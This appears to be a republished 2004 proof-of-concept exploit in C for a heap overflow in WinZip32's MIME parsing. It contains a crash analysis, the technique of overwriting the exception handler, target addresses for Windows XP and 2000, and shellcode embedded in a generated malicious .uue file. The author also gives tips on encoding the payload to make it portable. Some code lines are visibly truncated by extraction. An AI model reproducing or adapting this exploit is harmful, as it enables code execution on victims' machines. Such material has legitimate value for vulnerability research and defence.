K-OTik : WinZip32 MIME Parsing Overflow Proof of Concept Exploit

WinZip32 MIME Parsing Overflow Proof of Concept Exploit


/*
 * Author: snooq 
 * Date: 14 April 2004 
 *
 * This is a PoC exploit for WinZip32 MIME Parsing Overflow
 * bug reported by iDefense on 27 February 2004.
 *
 * The original advisory is found here:
 * http://www.idefense.com/application/poi/display?id=76
 *
 * This version is SP dependent becoz my idiotic shellcode
 * uses hardcoded addresses.... =p 
 * 
 * So, test it locally only. Afterall, it's just a PoC rite?
 * Nonetheless, it's possible to make it more portable by 
 * using a universal shellcode... 
 *
 * but beware... chars like ,.:;'"=[]\/ are filtered...
 * so feel free to XOR it.. =p
 *
 * Notes
 * =====
 * 1) Tested against WinZip 8.1 on WinXP SP1, Win2K SP1 only
 *
 * 2) You need to first launch WinZip before you 'Open'
 *
 * 3) Double clicking the 'uue' won't work 
 * why so? go figure it out urself... =p 
 * once u know why... u'd then know how to fix it...
 *
 * Greetz
 * ======
 * # eugene, nam, jf, valmont and the rest..
 * # sk, shashank + Security_Auditors folks...
 * # iDefense folks... SiG^2 guys etc...
 * # lastly.. Greg Hoglund for his 'Cross Page' stuffs... =p
 */
/*
 * A snapshot of the 'crash'
 * =========================
 *
 * Our buffer on the heap looks like this:
 * 
 * [....AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEEEEEEEEEEEEEEE....]
 * |--- heap grows this way --------->
 *
 * 
 * and the CPU is about to execute the following code:
 *
 * 0049BFFC |> 8B4C13 08 MOV ECX,DWORD PTR DS:[EBX+EDX+8]
 * 0049C000 |. 8B7C13 04 MOV EDI,DWORD PTR DS:[EBX+EDX+4]
 * 0049C004 |. 8979 04 MOV DWORD PTR DS:[ECX+4],EDI
 * 0049C007 |. 8B4C13 04 MOV ECX,DWORD PTR DS:[EBX+EDX+4]
 * 0049C00B |. 8B7C13 08 MOV EDI,DWORD PTR DS:[EBX+EDX+8]
 * 0049C00F |. 035D F8 ADD EBX,DWORD PTR SS:[EBP-8]
 * 0049C012 |. 8979 08 MOV DWORD PTR DS:[ECX+8],EDI
 * 0049C015 |. 895D F4 MOV DWORD PTR SS:[EBP-C],EBX
 *
 * and, EBX register seems to be under our control... =p
 *
 * EDX = ptr to 'DDDD' 
 * EBX = 'DDDD' - 1 
 *
 * By carefully choosing a value for EBX, we are able to manipulate
 * ECX at 0049BFFC and EDI at 0049C000.
 *
 * If we set 'DDDD'=0xfffffff5 (-11), 
 * 
 * -> EBX would be '0xfffffff4' (-12)
 * -> [EBX+EDX+8] becomes [EDX-4] and ECX = 'CCCC'
 * -> [EBX+EDX+4] becomes [EDX-8] and EDI = 'BBBB'
 *
 * Effectively at 0049C004, we can write a DWORD 'BBBB' to ['CCCC'+4]
 * After that.....
 *
 * -> [EBX+EDX+4] becomes [EDX-8] and ECX = 'BBBB'
 * -> [EBX+EDX+8] becomes [EDX-4] and EDI = 'CCCC' 
 * 
 * Finally we reach MOV DWORD PTR DS:['BBBB'+8],'CCCC' at 0049C012..
 *
 * Choosing the rite values for 'BBBB' + 'CCCC', execution flow could
 * be reliably diverted into our shellcode.
 *
 * In this exploit, I've chosen to install our code as the main thread's
 * top exception handler so that when exception is triggered at 0049C012,
 * our code will be called to 'handle' it... =p
 *
 * This is how I did it but I'm not sure if this is the best way.
 * If you know of any other better way to exploit this.....
 * pleaseeeeee tell me....... :)
 *
 */
#include 
#include 
#include 
#define TARGET 1
#define NOP 0x90
/*
 * Gap for NOPs (not really needed)
 */
#define PAD 0 
/*
 * This 'RANGE' nonsense was useful
 * in locating the 'index', i.e. 'DDDD'
 */
#define RANGE 1*4 
/*
 * Where we control the 'index',
 * i.e EBX register's value
 */
#define IDXOFF 268-RANGE+4 
/*
 * We find our 'where' + 'what' here...
 */
#define OFFSET IDXOFF-8 
/*
 * -12 bytes from 'index' into where
 * 'where'+'what' are...
 */
#define INDEX 0xfffffff5 
#define BSIZE 1024
#define FNAME "snooq.uue"
#define SSIZE sizeof(shellcode)-1
#define HSIZE sizeof(header)-1
char buff[BSIZE];
long where, what;
struct {
 char *os;
 long topSEH;
 long jmpADD;
}
targets[] = {
 {
 "Window XP (en) SP1",
 0x7ffddffe, // Per Thread Top SEH - 2
 0xf27cffff // [this address + 4] -> shellcode
 },
 {
 "Window 2000 (en) SP1",
 0x7ffddffe, // Per Thread Top SEH - 2
 0xf354ffff // [this address + 4] -> shellcode
 },
}, v;
/*
 * Harmless payload that spawns 'notepad.exe'... =p
 */
char shellcode[]=
 "\x55" // push ebp 
 "\x8b\xec" // mov ebp, esp
 "\x33\xf6" // xor esi, esi
 "\x56" // push esi
 "\x68\x2e\x65\x78\x65" // push 'exe.'
 "\x68\x65\x70\x61\x64" // push 'dape'
 "\x68\x90\x6e\x6f\x74" // push 'ton'
 "\x46" // inc esi 
 "\x56" // push esi
 "\x8d\x7d\xf1" // lea edi, [ebp-0xf] 
 "\x57" // push edi 
 "\xb8XXXX" // mov eax, XXXX -> WinExec() 
 "\xff\xd0" // call eax
 "\x4e" // dec esi
 "\x56" // push esi
 "\xb8YYYY" // mov eax, YYYY -> ExitProcess() 
 "\xff\xd0"; // call eax
char header[]="Content-Type: multipart/mixed; boundary=";
void err_exit(char *s)
{
 printf("%s\n",s);
 exit(0);
}
void filladdr()
{
 char *ptr;
 int i=0, index=INDEX, idxoff=IDXOFF;
 long addr1=(long)WinExec;
 long addr2=(long)ExitProcess;
 printf("-> WinExec() is at: 0x%08x\n",addr1);
 printf("-> ExitProcess() is at: 0x%08x\n",addr2);
 ptr=shellcode;
 while (*ptr!='0円') {
 if (*((long *)ptr)==0x58585858) {
 printf("-> Filling in WinExec at offset: %d\n",(ptr-shellcode));
 *((long *)ptr)=addr1;
 }
 if (*((long *)ptr)==0x59595959) {
 printf("-> Filling in ExitProcess at offset: %d\n",(ptr-shellcode));
 *((long *)ptr)=addr2;
 }
 ptr++;
 }
 ptr=buff+HSIZE+OFFSET;
 printf("-> 'what' == 0x%08x at offset %d\n",what,OFFSET);
 *((long *)ptr)=what;
 ptr+=4;
 printf("-> 'where' == 0x%08x at offset %d\n",where,OFFSET+4);
 *((long *)ptr)=where-4;
 ptr=buff+HSIZE+idxoff;
 for (;i 'index' == 0x%08x at offset %d\n",index-i,idxoff+i);
 *((long *)(ptr+i))=index-i;
 }
}
void buildfile() 
{
 int i=0;
 FILE *fd;
 if ((fd=fopen(FNAME,"w"))==NULL) {
 err_exit("-> Failed to generate file...");
 }
 for(;i '%s' generated....\n",FNAME);
}
int main(int argc, char *argv[]) 
{
 int i=0, t=TARGET;
 if (argc==2) { t=atoi(argv[1]); }
 where=targets[t-1].topSEH;
 what=targets[t-1].jmpADD;
 printf("\nWinZip32 MIME Parsing Overflow PoC, By Snooq []\n\n");
 memset(buff,NOP,BSIZE);
 printf("-> Generating 'uue' file for target #%d...\n",t);
 memcpy(buff,header,HSIZE);
 filladdr();
 memcpy(buff+HSIZE+IDXOFF+4+PAD,shellcode,SSIZE);
 buildfile();
 return 0;
}

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